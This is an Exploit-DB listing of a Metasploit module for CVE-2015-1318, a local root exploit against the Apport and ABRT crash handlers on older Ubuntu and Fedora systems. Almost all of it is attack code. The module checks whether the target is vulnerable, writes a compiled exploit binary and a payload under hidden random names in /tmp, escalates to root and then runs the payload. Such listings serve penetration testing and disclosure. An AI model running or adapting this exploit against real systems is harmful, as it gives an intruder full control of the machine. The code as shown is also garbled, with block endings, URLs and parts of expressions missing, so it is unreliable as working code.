Apport / ABRT - chroot Privilege Escalation (Metasploit)

EDB-ID: 43971
Author: Metasploit
Published: 2018-02-05
CVE: CVE-2015-1318
Type: Local
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), Local
Vulnerable App: N/A

 # This module requires Metasploit: 
# Current source:

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
'Name' => 'Apport / ABRT chroot Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by
invoking the default coredump handler inside a namespace ("container").

Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
vulnerable, due to a feature which allows forwarding reports to
a container's Apport by changing the root directory before loading
the crash report, causing 'usr/share/apport/apport' within the crashed
task's directory to be executed.

Similarly, Fedora is vulnerable when the kernel crash handler is
configured to change root directory before executing ABRT, causing
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be

In both instances, the crash handler does not drop privileges,
resulting in code execution as root.

This module has been tested successfully on Apport 2.14.1 on
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
'License' => MSF_LICENSE,
'Author' =>
'Stéphane Graber', # Independent discovery, PoC and patch
'Tavis Ormandy', # Independent discovery and C exploit
'Ricardo F. Teixeira', # shell exploit
'Brendan Coles <bcoles[at]>' # Metasploit
'DisclosureDate' => 'Mar 31 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[ 'CVE', '2015-1318' ],
[ 'URL', '' ],
# Exploits
[ 'EDB', '36782' ],
[ 'EDB', '36746' ],
[ 'URL', '' ],
# ABRT (Fedora)
[ 'URL', '' ],
[ 'URL', '' ],
# Apport (Ubuntu)
[ 'URL', '' ],
[ 'URL', '' ],
[ 'URL', '' ],
[ 'URL', '' ]
['WritableDir', [ true, 'A directory where we can write files', '/tmp' ])

def base_dir

def check
kernel_version = cmd_exec('uname -r').split('-').first

if kernel_version <'3.12')
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
return CheckCode::Safe

vprint_good "Linux kernel version #{kernel_version} is vulnerable"

kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'

# Vulnerable core_pattern (abrt):
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
# Patched systems no longer preface the command with /usr/sbin/chroot
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
vprint_good 'System is configured to chroot ABRT for crash reporting'
return CheckCode::Vulnerable

# Vulnerable core_pattern (apport):
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
if kernel_core_pattern.include? 'apport'
vprint_good 'System is configured to use Apport for crash reporting'

res = cmd_exec 'apport-cli --version'

if res.blank?
vprint_error 'Apport is NOT installed'
return CheckCode::Safe

apport_version ='-').first)

if apport_version >='2.13') && apport_version <'2.17.1')
vprint_good "Apport version #{apport_version} is vulnerable"
return CheckCode::Vulnerable

vprint_error "Apport version #{apport_version} is NOT vulnerable"

return CheckCode::Safe

vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'


def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path

def exploit
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'

# Upload Tavis Ormandy's newpid exploit:
# -
# Cross-compiled with:
# - i486-linux-musl-cc -static newpid.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
fd = path, 'rb'
executable_data = fd.stat.size

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data

# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

# newpid writes an 'exploit' directory
# which must be removed manually if exploitation fails
register_dir_for_cleanup "#{base_dir}/exploit"

# Change working directory to base_dir,
# allowing newpid to create the required hard links
cmd_exec "cd '#{base_dir}'"

print_status 'Launching exploit...'
output = cmd_exec executable_path
output.each_line { |line| vprint_status line.chomp }

# Check for root privileges
id = cmd_exec 'id'

unless id.include? 'root'
fail_with Failure::Unknown, 'Failed to gain root privileges'

print_good 'Upgraded session to root privileges'
vprint_line id

# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec payload_path

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